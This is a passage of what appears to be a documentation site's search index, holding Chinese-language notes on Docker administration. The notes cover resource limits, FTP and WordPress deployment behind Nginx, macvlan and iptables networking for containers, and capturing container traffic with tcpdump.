CPU \\u4e3a 100%\\u3002</p> <p><code>--cpu-period</code>\\u8868\\u793a\\u6309\\u591a\\u5c11\\u79d2\\u5206\\u7247\\uff0c\\u4f8b\\u5982\\u8bbe\\u7f6e\\u4e3a100000\\u5c31\\u662f\\u6309100ms\\u5206\\u5272\\uff0c\\u540c\\u65f6\\u8bbe\\u7f6e<code>--cpu-quota</code>\\u4e3a50000\\u5c31\\u662f50ms\\uff0c\\u6548\\u679c\\u662f\\u540c\\u65f6\\u53ea\\u80fd\\u4f7f\\u75280.5\\u4e2aCPU</p> <p><code>--memory</code>\\u9650\\u5236\\u5bb9\\u5668\\u4f7f\\u7528\\u7684\\u7269\\u7406\\u5185\\u5b58\\uff0c\\u5f53\\u5bb9\\u5668\\u8d85\\u51fa\\u65f6\\uff0c\\u5176\\u4e2d\\u7684\\u8fdb\\u7a0b\\u4f1a\\u88abkill\\uff0c\\u8be6\\u7ec6\\u8bf7\\u53c2\\u8003http://blog.opskumu.com/docker-memory-limit.html</p> <p><code>--blkio-weight</code>\\u8868\\u793aIO\\u76f8\\u5bf9\\u6743\\u91cd\\uff0c\\u8be6\\u7ec6\\u8bf7\\u53c2\\u8003http://blog.opskumu.com/docker-io-limit.html</p>\"},{\"location\":\"Docker/#ftp\",\"title\":\"\\u5feb\\u901f\\u90e8\\u7f72ftp\",\"text\":\"<p>@TAG vsftpd</p> <p>vsftpd\\u7684\\u914d\\u7f6e\\u771f\\u662f\\u8ba9\\u4eba\\u5934\\u75bc\\uff0c\\u4e0d\\u5982<code>docker search ftp</code>\\u4e00\\u756a\\uff0c\\u7136\\u540egoogle\\u4e00\\u4e0b\\u627e\\u5230\\u5bf9\\u5e94\\u7684Docker Hub\\u9875\\u9762</p> <p>\\u4f7f\\u7528\\u6b65\\u9aa4\\uff1a</p> <pre><code>docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \\\"PUBLICHOST=localhost\\\" -v /path/to/the_ftp_directory:/data stilliard/pure-ftpd:hardened\\ndocker exec -it ftpd_server /bin/bash\\n#\\u8fdb\\u5165\\u5bb9\\u5668\\u540e\\u521b\\u5efa\\u7528\\u6237\\npure-pw useradd bob -f /etc/pure-ftpd/passwd/pureftpd.passwd -m -u ftpuser -d /data\\n</code></pre>\"},{\"location\":\"Docker/#wordpress\",\"title\":\"\\u5feb\\u901f\\u90e8\\u7f72wordpress\",\"text\":\"<p>@TAG sub_filter</p> <p>\\u60f3\\u642d\\u5efa\\u4e00\\u4e2a\\u81ea\\u5df1\\u7684blog\\uff0c\\u9009\\u62e9\\u73a9\\u4e00\\u73a9wordpress\\u54af\\uff0c\\u8fd9\\u91cc\\u8bb0\\u5f55\\u4e00\\u4e0b\\u5b8c\\u6574\\u7684\\u6d41\\u7a0b\\u548c\\u9047\\u5230\\u7684\\u95ee\\u9898\\u53ca\\u89e3\\u51b3\\u65b9\\u6848</p> <p>\\u6280\\u672f\\u76f8\\u5173\\uff1a Docker Nginx HTTPS </p> <p>\\u76ee\\u6807\\uff1a \\u5feb\\u901f\\u642d\\u5efa\\u4e00\\u4e2a\\u5168\\u7ad9https\\u7684wordpress\\u7ad9\\u70b9\\uff0c\\u57df\\u540d\\u4e3aexample.com</p>\"},{\"location\":\"Docker/#_7\",\"title\":\"\\u5b8c\\u6574\\u6d41\\u7a0b\\uff1a\",\"text\":\"<ol> <li>\\u524d\\u671f\\u51c6\\u5907:\\u57df\\u540d+vps</li> </ol> <p>\\u6ce8\\u518c\\u57df\\u540d \\u5982\\u679c\\u9762\\u5411\\u56fd\\u5185\\u8bbf\\u95ee\\uff0c\\u8fd8\\u9700\\u8981\\u5907\\u6848\\u54af\\uff1b\\u522b\\u5fd8\\u4e86\\u914d\\u7f6eDNS\\u89e3\\u6790</p> <p>\\u4e70\\u4e2avps\\u670d\\u52a1\\u5668\\uff0c\\u5efa\\u8bae\\u9009\\u62e9\\u9999\\u6e2fvps</p> <ol> <li>\\u5b89\\u88c5Docker\\u548cNginx</li> </ol> <pre><code>curl -fsSL https://get.docker.com -o get-docker.sh\\nsh get-docker.sh --mirror Aliyun\\napt-get install -y nginx\\n</code></pre> <ol> <li>\\u542f\\u52a8\\u4e00\\u4e2amysql\\u7684\\u955c\\u50cf\\uff1a</li> </ol> <pre><code># Google\\u641c\\u7d22\\u5173\\u952e\\u8bcd \\\"docker mysql\\\"\\ndocker run --name mysql -e MYSQL_ROOT_PASSWORD=\\u8fd9\\u91cc\\u6539\\u6210\\u4f60\\u60f3\\u8bbe\\u7f6e\\u7684\\u5bc6\\u7801 -d mysql\\n# Google\\u641c\\u7d22\\u5173\\u952e\\u8bcd \\\"docker wordpress\\\"\\ndocker run --name wp --link mysql:mysql -p 6666:80 -d wordpress\\n</code></pre> <ol> <li> <p>\\u57df\\u540dhttps\\u8bc1\\u4e66\\u83b7\\u53d6\\u4ee5\\u53ca\\u542f\\u7528https\\u8bbf\\u95ee\\uff0c\\u6b64\\u90e8\\u5206\\u5177\\u4f53\\u89c1Nginx.md\\u4e2d<code>\\u83b7\\u5f97Let's encrypt\\u514d\\u8d39https\\u8bc1\\u4e66</code>\\u548c<code>\\u914d\\u7f6e\\u5b89\\u5168\\u7684https</code>\\u90e8\\u5206</p> </li> <li> <p>\\u914d\\u7f6eNginx\\uff0c\\u5b8c\\u6574\\u914d\\u7f6e\\u5982\\u4e0b\\uff1a</p> </li> </ol> <pre><code>server{\\nserver_name *.example.com example.com;\\nlocation /.well-known/acme-challenge { #\\u8fd9\\u662flet's encrypt\\u7533\\u8bf7\\u8bc1\\u4e66\\u7684\\u65f6\\u5019\\u7528\\u5230\\u7684\\u76ee\\u5f55\\nalias /tmp/acme/;\\ntry_files $uri =404;\\n}\\nlocation /{\\nrewrite ^ https://$host$request_uri? permanent;\\n}\\n}\\nserver{\\nserver_name *.example.com example.com;\\ninclude https.conf;\\naccess_log /var/log/nginx/example_access.log;\\nerror_log /var/log/nginx/example_error.log;\\nssl_certificate /home/keys/example.crt;\\nssl_certificate_key /home/keys/example.key;\\nlocation / {\\nproxy_pass http://127.0.0.1:6666;\\nproxy_set_header Host $host;\\nproxy_set_header Accept-Encoding \\\"\\\"; #\\u7981\\u6b62\\u540e\\u7aef\\u8fd4\\u56degzip\\u5185\\u5bb9\\uff0c\\u4fdd\\u8bc1\\u80fd\\u591f\\u66ff\\u6362\\nsub_filter_once off; #\\u591a\\u6b21\\u66ff\\u6362 \\u4e0d\\u53ea\\u662f\\u66ff\\u6362\\u4e00\\u6b21\\nsub_filter \\\"http://www.example.com\\\" \\\"https://www.example.com\\\";\\n}\\n}\\n</code></pre>\"},{\"location\":\"Docker/#_8\",\"title\":\"\\u9047\\u5230\\u7684\\u5751\",\"text\":\"<ol> <li>docker run\\u7684\\u65f6\\u5019\\u5fd8\\u8bb0-p\\u53c2\\u6570</li> </ol> <p>\\u5efa\\u8bae\\u8fd8\\u662f\\u628a\\u7aef\\u53e3\\u6620\\u5c04\\u51fa\\u6765\\uff0c\\u5728\\u5bb9\\u5668\\u91cd\\u542f\\u540e\\u5bb9\\u5668\\u7684\\u5185\\u7f51IP\\u662f\\u4f1a\\u53d1\\u751f\\u53d8\\u5316\\u7684\\uff0c\\u4e0d\\u9002\\u5408\\u5c06172.17.0.*\\u8fd9\\u79cdIP\\u5199\\u5165nginx\\u914d\\u7f6e</p> <p>\\u6b64\\u65f6\\u6211\\u9009\\u62e9\\u4e86<code>docker rm -f \\u5bb9\\u5668ID</code>\\u5f3a\\u5236\\u5220\\u6389\\u5bb9\\u5668\\uff0c\\u518d\\u52a0\\u4e0a-p\\u53c2\\u6570\\u540e\\u542f\\u52a8</p> <ol> <li>\\u5168\\u7ad9https</li> </ol> <p>\\u867d\\u7136\\u6211\\u7684https.conf\\u4e2d\\u5b9a\\u4e49\\u4e86HSTS\\uff0c\\u6d4f\\u89c8\\u5668\\u4e5f\\u786e\\u5b9e\\u4f1a\\u628a\\u6240\\u6709\\u7684\\u8bf7\\u6c42\\u90fd\\u81ea\\u52a8\\u7528https\\u534f\\u8bae\\u8bbf\\u95ee\\uff0c\\u4f46\\u662f\\u8fd8\\u662f\\u7531\\u4e8eform\\u7684action\\u4e3ahttp\\u534f\\u8bae\\u800c\\u8b66\\u544a\\u4e0d\\u5b89\\u5168(\\u5728Chrome\\u5f00\\u53d1\\u4eba\\u5458\\u5de5\\u5177\\u7684Console\\u770b\\u5230)\\uff0c\\u4e5f\\u6ca1\\u6709\\u5c0f\\u7eff\\u9501\\u663e\\u793a\\u3002\\u6240\\u4ee5\\u8981\\u4fdd\\u8bc1\\u670d\\u52a1\\u5668\\u8f93\\u51fa\\u7ed9\\u6d4f\\u89c8\\u5668\\u7684\\u5185\\u5bb9\\u5c31\\u662fhttps\\u7684\\u94fe\\u63a5</p> <p>\\u4e00\\u5f00\\u59cb\\u9009\\u62e9\\u4e86\\u5b98\\u65b9wordpress\\u7684\\u65b9\\u6cd5(Google\\u5173\\u952e\\u8bcd\\u201dwordpress https\\u201d)\\uff0c\\u7ed3\\u679c\\u5bfc\\u81f4\\u4e86\\u4e0b\\u6587\\u7b2c\\u4e09\\u70b9\\u7684\\u6298\\u817e</p> <p>\\u6700\\u7ec8\\u9009\\u62e9\\u7684\\u65b9\\u6848\\u662f\\u5728nginx\\u53cd\\u5411\\u4ee3\\u7406\\u7684\\u65f6\\u5019\\u66ff\\u6362\\u6587\\u672c\\u5185\\u5bb9\\uff0c\\u4f7f\\u7528sub_filter\\u8fd9\\u4e2a\\u6a21\\u5757\\u8fdb\\u884c\\u6587\\u672c\\u5185\\u5bb9\\u66ff\\u6362</p> <p>\\u9047\\u5230\\u4e86\\u95ee\\u9898\\uff0c\\u8fd9\\u4e2asub_filter\\u4e0d\\u8d77\\u4f5c\\u7528\\uff0c(Google\\u5173\\u952e\\u8bcd \\u201csub_filter not working\\u201d)\\u539f\\u56e0\\u662f\\u5bb9\\u5668\\u8fd4\\u56de\\u7684\\u5185\\u5bb9\\u542f\\u7528\\u4e86gzip\\uff0c\\u65e0\\u6cd5\\u66ff\\u6362\\uff0c\\u65b9\\u6cd5\\u662f\\u52a0\\u5165\\u4e00\\u884c\\u914d\\u7f6e\\u7981\\u6b62\\u5bb9\\u5668\\u7684Apache\\u4f7f\\u7528gzip: proxy_set_header Accept-Encoding \\u201c\\u201d;</p> <p>\\u53c2\\u8003\\uff1a</p> <p>http://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working</p> <ol> <li>\\u7531\\u4e8e\\u5728\\u540e\\u53f0\\u4fee\\u6539\\u4e86Wordpress Address\\u548cSite Address\\u6539\\u4e3ahttps\\u7684\\u94fe\\u63a5\\uff0c\\u5bfc\\u81f4\\u540e\\u53f0\\u65e0\\u6cd5\\u6253\\u5f00\\uff0c\\u91cd\\u5b9a\\u5411\\u6b7b\\u5faa\\u73af</li> </ol> <p>\\u89e3\\u51b3\\u65b9\\u6848\\u662f\\u8fdb\\u5165mysql\\u5bb9\\u5668\\u624b\\u52a8\\u4fee\\u6539\\uff0c\\u628a\\u8fdb\\u884c\\u7684\\u4fee\\u6539\\u6539\\u56de\\u53bb</p> <p>\\u95ee\\u9898\\u5728\\u4e8e\\u6211\\u4e5f\\u5e76\\u4e0d\\u77e5\\u9053\\u6539\\u4e86\\u5565\\uff0c\\u5728\\u7ec8\\u7aefmysql<code>select * from wp_options;</code>\\u6709\\u4e9b\\u884c\\u592a\\u957f\\u5bfc\\u81f4\\u5173\\u952e\\u5185\\u5bb9\\u5237\\u5c4f\\u800c\\u8fc7\\uff0c\\u4e0d\\u65b9\\u4fbf\\u67e5\\u770b\\u8868</p> <p>\\u6211\\u7684\\u65b9\\u6cd5\\u662f\\u5148<code>mysqldump -p\\u5bc6\\u7801 wordpress &gt;test.sql</code>\\uff0c\\u518d\\u7528nano\\u6253\\u5f00test.sql\\uff0c\\u7528Ctrl+W\\u641c\\u7d22https\\uff08Google\\u5173\\u952e\\u8bcd\\u201dnano search\\u201d\\uff09\\uff0c\\u628a\\u5bf9\\u5e94\\u7684\\u5730\\u65b9\\u627e\\u5230\\u6539\\u56dehttp\\uff0c\\u4fdd\\u5b58\\u540e\\u7528<code>mysql -p\\u5bc6\\u7801 wordpress &lt; test.sql</code>\\u5bfc\\u5165\\u6570\\u636e\\u5e93 \\u5b8c\\u4e8b~</p>\"},{\"location\":\"Docker/#dockerfile-apt-get\",\"title\":\"Dockerfile \\u4e2d\\u7684 apt-get\",\"text\":\"<p>\\u4e3a\\u4e86\\u8ba9 apt-get \\u987a\\u5229\\u9759\\u9ed8\\u6267\\u884c\\uff0c\\u9700\\u8981\\u914d\\u7f6e\\u73af\\u5883\\u53d8\\u91cf\\u9632\\u6b62\\u4ea4\\u4e92\\uff1a</p> <pre><code>DEBIAN_FRONTEND=noninteractive apt-get install -y ...\\n</code></pre>\"},{\"location\":\"Docker/#dockerip\",\"title\":\"\\u8ba9Docker\\u5bb9\\u5668\\u5f97\\u5230\\u5185\\u7f51IP\",\"text\":\"<p>\\u8fd9\\u91cc\\u7684\\u5185\\u7f51\\u4e0d\\u662f\\u53ea\\u6709\\u4e3b\\u673a\\u53ef\\u4ee5\\u8bbf\\u95ee\\u7684\\u5bb9\\u5668Docker\\u5185\\u7f51\\uff0c\\u800c\\u662f\\u4e3b\\u673a\\u63a5\\u5165\\u7684\\u4f01\\u4e1a\\u5185\\u7f51\\u8fd9\\u79cd\\uff1b\\u5982\\u679c\\u4f60\\u80fd\\u76f4\\u63a5\\u901a\\u8fc7\\u8bbe\\u7f6eIP\\u83b7\\u5f97\\u516c\\u7f51IP\\uff0c\\u5f53\\u7136\\u6309\\u7167\\u8fd9\\u4e2a\\u65b9\\u6cd5\\u4e5f\\u80fd\\u7ed9\\u5bb9\\u5668\\u5206\\u914d\\u516c\\u7f51IP</p> <p>\\u6ce8\\u610f\\uff1a\\u6b64\\u65b9\\u6cd5Docker\\u5bb9\\u5668\\u867d\\u7136\\u83b7\\u5f97\\u4e86\\u548c\\u4e3b\\u673a\\u5730\\u4f4d\\u76f8\\u540c\\u7684IP\\uff0c\\u4f46\\u5bb9\\u5668\\u65e0\\u6cd5\\u4f7f\\u7528\\u4e3b\\u673a\\u7684IP\\u4e0e\\u4e3b\\u673a\\u901a\\u8baf\\uff0c\\u4e3b\\u673a\\u597d\\u50cf\\u4e5f\\u4e0d\\u80fd\\u8bbf\\u95ee\\u5bb9\\u5668\\u7684IP\\uff0c\\u8fd9\\u662fLinux\\u5185\\u6838\\u4e3a\\u4e86\\u9694\\u79bb\\u6027\\u548c\\u5b89\\u5168\\u6027\\u505a\\u51fa\\u7684\\u9650\\u5236</p> <p>\\u53c2\\u8003\\uff1a </p> <p>\\u4e0d\\u7528\\u7aef\\u53e3\\u8f6c\\u53d1\\u7ed9\\u5bb9\\u5668\\u5206\\u914d\\u516c\\u7f51IP\\u5730\\u5740 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.</p> <p>Macvlan and IPvlan basics</p> <p>Docker Networking Tip \\u2013 Macvlan driver</p> <p>PPT Docker Networking - Common Issues and Troubleshooting Techniques</p> <p>\\u505a\\u6cd5\\u4e5f\\u5f88\\u7b80\\u5355\\uff0c\\u9996\\u5148\\u521b\\u5efa\\u4e00\\u4e2aMacvlan\\u7c7b\\u578b\\u7684docker\\u7f51\\u7edc\\uff0c\\u7136\\u540e\\u5728\\u521b\\u5efa\\u5bb9\\u5668\\u7684\\u65f6\\u5019\\u52a0\\u5165\\u8fd9\\u4e2a\\u7f51\\u7edc\\u5e76\\u6307\\u5b9aIP/\\u4e0d\\u6307\\u5b9a\\u5219\\u81ea\\u52a8\\u5206\\u914d</p> <p>\\u4f8b\\u5b50\\uff1a\\u4e3b\\u673a\\uff08\\u7f51\\u5361eth0\\uff09\\u7684IP\\u4e3a10.1.1.2\\uff0c\\u7f51\\u5173\\u4e3a10.1.1.1\\uff0c\\u4e3b\\u673a\\u6240\\u5904\\u7684IP\\u6bb5\\u662f10.1.1.1/24\\uff0c\\u5728\\u8be5\\u7f51\\u6bb5\\u5185\\u4e3b\\u673a\\u53ef\\u4ee5\\u4efb\\u610f\\u83b7\\u5f97IP\\uff0c\\u6211\\u4eec\\u5e0c\\u671b\\u5bb9\\u5668\\u5206\\u914d\\u572810.1.1.65~10.1.1.126\\u4e4b\\u95f4 \\uff08\\u5373 10.1.1.64/26\\uff09</p> <p>\\u9644\\uff1a \\u8fd9\\u662f\\u4e00\\u4e2a\\u8f93\\u5165Network 10.1.1.64/26\\u8f6c\\u6362\\u4e3aHostMin 10.1.1.65~ HostMax 10.1.1.126\\u7684\\u8ba1\\u7b97\\u5668</p> <pre><code>docker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network\\n\\ndocker run --net=macvlan_network --ip=10.1.1.100 -d nginx\\n</code></pre> <p>\\u73b0\\u5728\\u4f60\\u53ef\\u4ee5\\u8bbf\\u95ee <code>http://10.1.1.100</code> \\u6765\\u770b\\u5230nginx\\u7684\\u6b22\\u8fce\\u9875\\u9762\\u4e86\\uff0c\\u4f60\\u9700\\u8981\\u5728\\u5185\\u7f51\\u53e6\\u4e00\\u53f0\\u673a\\u5668\\u4e0a\\u8bbf\\u95ee\\uff08\\u6211\\u7684\\u53d1\\u73b0\\u662f\\u4e3b\\u673a\\u548c\\u8fd9\\u6837\\u5206\\u914d\\u7684\\u5bb9\\u5668\\u662f\\u4e0d\\u4e92\\u901a\\u7684\\uff09</p> <p>\\u53ef\\u80fd\\u7684IP\\u51b2\\u7a81</p> <p>\\u542f\\u52a8\\u5bb9\\u5668\\u65f6\\u53ef\\u4ee5\\u4e0d\\u6307\\u5b9aip\\u8ba9docker\\u81ea\\u52a8\\u5206\\u914d\\uff0c\\u8b66\\u544a\\uff1a\\u5982\\u679c\\u6ca1\\u6709\\u914d\\u7f6eip-range\\u53c2\\u6570\\uff0c\\u6709\\u53ef\\u80fd\\u88ab\\u5206\\u914d\\u7684\\u6070\\u597d\\u662f\\u4e3b\\u673a\\u672c\\u8eab\\u7684IP\\uff0c\\u8fd9\\u79cd\\u60c5\\u51b5\\u5c06\\u5bfc\\u81f4\\u4e3b\\u673a\\u4e22\\u5931IP\\u65e0\\u6cd5\\u8054\\u7f51\\uff01</p> <p>\\u4e07\\u4e00\\u53d1\\u751f\\u8fd9\\u79cd\\u865a\\u62df\\u673a\\u628a\\u4e3b\\u673a\\u7684IP\\u62a2\\u5360\\u7684\\u60c5\\u51b5\\uff0c\\u5728\\u6ca1\\u6709\\u7269\\u7406\\u63a7\\u5236\\u65b9\\u6cd5\\u4e0b\\u4e0d\\u53ef\\u8f7b\\u6613\\u4f7f\\u7528ifconfig\\u4fee\\u6539\\u4e3b\\u673aIP\\uff0c\\u56e0\\u4e3a\\u4e00\\u65e6\\u4f7f\\u7528ifconfig\\u4e3b\\u673a\\u7684route\\u5c06\\u88ab\\u6e05\\u7a7a\\u3001\\u5f53\\u524d\\u4e3b\\u673a\\u7684\\u5176\\u4ed6IP\\u4e5f\\u4f1a\\u4e22\\u5931\\uff0c\\u4f60\\u5c31\\u4e22\\u5931\\u8fdc\\u7a0b\\u8bbf\\u95ee\\u7684\\u53ef\\u80fd\\u4e86\\uff08\\u4e5f\\u8bb8\\u4f60\\u53ef\\u4ee5\\u5199\\u4e00\\u4e2a\\u811a\\u672c\\u81ea\\u52a8\\u6062\\u590droute\\u7a33\\u59a5\\u4e00\\u70b9\\uff09\\uff1b\\u4f46\\u795e\\u5947\\u7684\\u662f\\u5373\\u4f7f\\u4e3b\\u673aroute\\u5df2\\u7ecf\\u4e22\\u5931\\uff0c\\u6309\\u7167\\u4e0a\\u8ff0macvlan\\u5f00\\u51fa\\u6765\\u7684Docker\\u5bb9\\u5668\\u4ecd\\u7136\\u5728\\u7ebf\\uff08\\u4e5f\\u53ef\\u4ee5\\u7406\\u89e3\\u2014\\u2014\\u5bb9\\u5668\\u7684route\\u5e76\\u6ca1\\u6709\\u53d7\\u5230\\u5f71\\u54cd\\uff0c\\u7c7b\\u4f3c\\u4e8eVirtualbox\\u7684\\u6865\\u63a5\\u7f51\\u5361\\u65b9\\u5f0f\\uff09</p>\"},{\"location\":\"Docker/#macvlanip\",\"title\":\"\\u83b7\\u53d6macvlan\\u5bb9\\u5668\\u7684IP\",\"text\":\"<p>@TAG getip</p> <pre><code># clean version\\ndocker inspect --format \\\"{{.NetworkSettings.Networks.macvlan\\u7f51\\u7edc\\u540d\\u79f0.IPAddress}}\\\" \\u5bb9\\u5668\\u540d\\u79f0\\n\\n# dirty but quick version\\ndocker inspect \\u5bb9\\u5668\\u540d\\u79f0 | grep IP\\n</code></pre>\"},{\"location\":\"Docker/#macvlanip_1\",\"title\":\"macvlan\\u67e5\\u770b\\u5df2\\u7ecf\\u5206\\u914d\\u7684IP\",\"text\":\"<p>\\u7531\\u4e8e\\u4e3b\\u673a\\u548c\\u5bb9\\u5668\\u4e0d\\u80fd\\u4e92\\u901a\\uff0c\\u6240\\u4ee5\\u4e3b\\u673a\\u5982\\u4f55\\u5f97\\u77e5\\u76ee\\u524d\\u5df2\\u7ecf\\u5206\\u914d\\u7684IP\\u5217\\u8868\\u5462\\uff1f\\u7528docker network inspect\\u54af\\uff0c\\u7136\\u540e\\u7528python\\u5904\\u7406\\u4e00\\u4e0b\\u8f93\\u51fa\\u683c\\u5f0f</p> <p>\\u4e0b\\u9762\\u8fd9\\u4e2a\\u547d\\u4ee4\\u5217\\u51fa\\u4e86\\u5bb9\\u5668IP\\u548c\\u5bb9\\u5668\\u540d\\u79f0\\uff1a</p> <pre><code>docker network inspect macvlan_bridge --format \\\"{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}\\\" | python3 -c 'print(input().replace(\\\"/24@\\\",\\\"\\\\t\\\").replace(\\\",,,\\\",\\\"\\\\n\\\"),end=\\\"\\\")'|sort\\n</code></pre> <p>\\u5982\\u679c\\u53ea\\u9700\\u8981IP\\u5217\\u8868\\uff1a</p> <pre><code>docker network inspect macvlan_bridge --format \\\"{{range .Containers}}{{.IPv4Address}},{{end}}\\\" | python3 -c 'print(input().replace(\\\"/24,\\\",\\\"\\\\n\\\"),end=\\\"\\\")'|sort\\n</code></pre>\"},{\"location\":\"Docker/#macvlan\",\"title\":\"\\u4e3b\\u673a\\u8bbf\\u95eemacvlan\\u7684\\u5bb9\\u5668\",\"text\":\"<p>\\u7531\\u4e8e\\u5185\\u6838\\u9650\\u5236\\u5e76\\u4e0d\\u652f\\u6301host\\u76f4\\u63a5\\u4f7f\\u7528\\u4e0a\\u8ff0\\u6307\\u5b9a\\u7684ip\\u8bbf\\u95ee\\u5bb9\\u5668\\uff0c\\u800cdocker network connect\\u8ba9\\u5bb9\\u5668\\u518d\\u52a0\\u5165\\u4e00\\u4e2a\\u7f51\\u7edc\\u53c8\\u4f1a\\u6539\\u53d8\\u5bb9\\u5668\\u7684\\u9ed8\\u8ba4\\u8def\\u7531\\uff0c\\u4f46\\u6211\\u5c31\\u662f\\u60f3\\u8ba9\\u4e3b\\u673a\\u80fd\\u8bbf\\u95ee\\u5230\\u5bb9\\u5668\\uff0c\\u548b\\u529e\\u54e9\\uff1f</p> <p>\\u53c2\\u8003\\uff1ahttp://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/</p> <p>\\u60f3\\u8bbf\\u95ee\\u7684\\u5bb9\\u5668IP\\u4e3a10.1.1.66\\uff0c\\u8fd9\\u79cd\\u65b9\\u6cd5\\u9700\\u8981\\u8ba9\\u4e3b\\u673a\\u518d\\u83b7\\u5f97\\u4e00\\u4e2aIP\\uff0c\\u4f8b\\u598210.1.1.3\\u3002\\u6ce8\\u610f\\u8fd9\\u79cd\\u914d\\u7f6e\\u662f\\u4e0d\\u6301\\u4e45\\u7684\\uff0c\\u91cd\\u542f\\u540e\\u4e22\\u5931</p> <pre><code>DEVICE_NAME=\\\"eth0\\\"\\nNAME=\\\"mynet-shim\\\"\\nHOST_GETIP=\\\"10.1.1.3\\\"\\nTARGET_IP=\\\"10.1.1.66\\\"\\n\\nip link add $NAME link $DEVICE_NAME type macvlan  mode bridge\\nip addr add $HOST_GETIP/32 dev $NAME\\nip link set $NAME up\\nip route add $TARGET_IP/32 dev $NAME\\n</code></pre>\"},{\"location\":\"Docker/#iptablesdockerip\",\"title\":\"\\u4f7f\\u7528iptables\\u7aef\\u53e3\\u8f6c\\u53d1\\u8ba9Docker\\u5bb9\\u5668\\u5f97\\u5230\\u5185\\u7f51IP\",\"text\":\"<p>\\u4e0a\\u8ff0\\u57fa\\u4e8emacvlan\\u7684\\u65b9\\u6cd5\\u5bb9\\u5668\\u65e0\\u6cd5\\u4e0e\\u4e3b\\u673a\\u901a\\u8baf\\uff0c\\u6240\\u4ee5\\u4e0b\\u8ff0\\u57fa\\u4e8eiptables\\u7aef\\u53e3\\u8f6c\\u53d1\\u7684\\u65b9\\u6cd5\\u66f4\\u80dc\\u4e00\\u7b79</p> <p>\\u8fd9\\u79cd\\u65b9\\u6cd5\\u57fa\\u4e8e\\u4e3b\\u673a\\u81ea\\u5df1\\u53bb\\u83b7\\u5f97\\u4e00\\u4e2a\\u989d\\u5916\\u7684\\u5185\\u7f51ip\\u540e\\uff0c\\u7528iptables\\u7aef\\u53e3\\u8f6c\\u53d1\\u6765\\u5b9e\\u73b0\\u7ed9\\u5bb9\\u5668\\u5185\\u7f51IP\\u7684\\u6548\\u679c\\uff0c\\u5bb9\\u5668\\u5e94\\u7528\\u53ef\\u4ee5\\u5f97\\u5230\\u8bf7\\u6c42\\u6e90IP\\uff0c\\u4f46\\u5bb9\\u5668\\u5411\\u5916\\u53d1\\u8d77\\u7684tcp\\u8bf7\\u6c42\\u8fd8\\u662f\\u4e3b\\u673a\\u81ea\\u8eab\\u7684\\u9ed8\\u8ba4IP</p> <p>\\u8be5\\u811a\\u672c\\u8fd0\\u884c\\u65f6\\u9700\\u8981\\u4e24\\u4e2a\\u53c2\\u6570 \\u7b2c\\u4e00\\u4e2a\\u4e3a\\u5bb9\\u5668\\u540d\\u79f0 \\u7b2c\\u4e8c\\u4e2a\\u4e3a\\u65b0\\u7684IP\\u540e\\u7f00</p> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50 \\u4e3b\\u673a\\u572810.12.34.x\\u8fd9\\u4e2a\\u5185\\u7f51\\u5730\\u5740\\u6bb5 \\u4e14\\u53ef\\u4ee5\\u968f\\u610f\\u5f97\\u5230\\u8fd9\\u4e2a\\u5730\\u5740\\u6bb5\\u7684\\u5185\\u7f51IP\\uff0c\\u73b0\\u5728\\u8981\\u7ed9mysql\\u5bb9\\u566810.12.34.202\\u8fd9\\u4e2aIP\\uff0c\\u8fd0\\u884c\\u65b9\\u5f0f\\u5c31\\u662f<code>./give_container_ip.sh mysql 202</code></p> <p>\\u8bb0\\u5f97\\u4fee\\u6539\\u4e0b\\u9762\\u7684IPPREFIX\\u548cETH0\\u53d8\\u91cf\\uff01</p>\"},{\"location\":\"Docker/#give_container_ipsh\",\"title\":\"give_container_ip.sh\",\"text\":\"<p>@TAG \\u7aef\\u53e3\\u8f6c\\u53d1</p> <pre><code>#!/bin/bash\\nset -ex\\nshopt -s expand_aliases\\n\\nif [ -z $1 ] &amp;&amp; [ -z $2 ]; then\\necho \\\"Usage: $0 &lt;container name&gt; &lt;new IP suffix&gt;\\\"\\necho \\\"Example: $0 u202 202\\\"\\nexit 1\\nfi\\n\\nalias getip=\\\"docker inspect  --format '{{.NetworkSettings.IPAddress}}' \\\"\\n\\nIPPREFIX=\\\"10.12.34.\\\"\\nETH0=\\\"eth0\\\"\\nsudo ifconfig $ETH0:$2 $IPPREFIX$2 netmask 255.255.255.0 up\\nsudo iptables -t nat -I PREROUTING -d $IPPREFIX$2 -p tcp -j DNAT --to `getip $1`\\nsudo iptables -t nat -I POSTROUTING -s `getip $1`/32 -d `getip $1`/32 -p tcp -m tcp -j MASQUERADE\\n</code></pre> <p>\\u4e3a\\u4ec0\\u4e48\\u6700\\u540e\\u7528MASQUERADE\\u800c\\u4e0d\\u7528SNAT\\u5462\\uff1f\\u56e0\\u4e3a\\u7528SNAT\\u5bb9\\u5668\\u7684\\u5e94\\u7528\\u5c31\\u4e0d\\u80fd\\u5f97\\u5230\\u8bf7\\u6c42\\u7684\\u6e90IP\\uff0c\\u5728\\u5b9e\\u9645\\u5e94\\u7528\\u4e2d\\u662f\\u65e0\\u6cd5\\u63a5\\u53d7\\u7684\\uff1b\\u8fd9\\u4e00\\u6761iptables\\u89c4\\u5219\\u662f\\u6211\\u7528<code>docker run -p</code>\\u548c<code>iptables-save</code>\\u5f97\\u5230\\u7684</p>\"},{\"location\":\"Docker/#tcpdump\",\"title\":\"\\u5bf9\\u5bb9\\u5668\\u7f51\\u7edc\\u6d41\\u91cftcpdump\",\"text\":\"<p>Learned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques</p> <pre><code>docker run -ti --net container:&lt;containerid&gt; nicolaka/netshoot tcpdump -i eth0 -n port 80\\n</code></pre> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\uff0c\\u4e0a\\u8ff0\\u542f\\u52a8\\u4e86nginx\\u5bb9\\u5668\\u5e76\\u5206\\u914d\\u4e86\\u5185\\u7f51ip 10.1.1.100\\uff0c\\u6211\\u4eec\\u6765\\u6536\\u96c680\\u7aef\\u53e3\\u7684\\u6d41\\u91cf\\uff0c\\u5e76\\u4fdd\\u5b58\\u5230/tmp/pcapfiles/nginx.pcap\\u6587\\u4ef6\\uff1a</p> <pre><code>docker run -ti --net container:f5fc -v 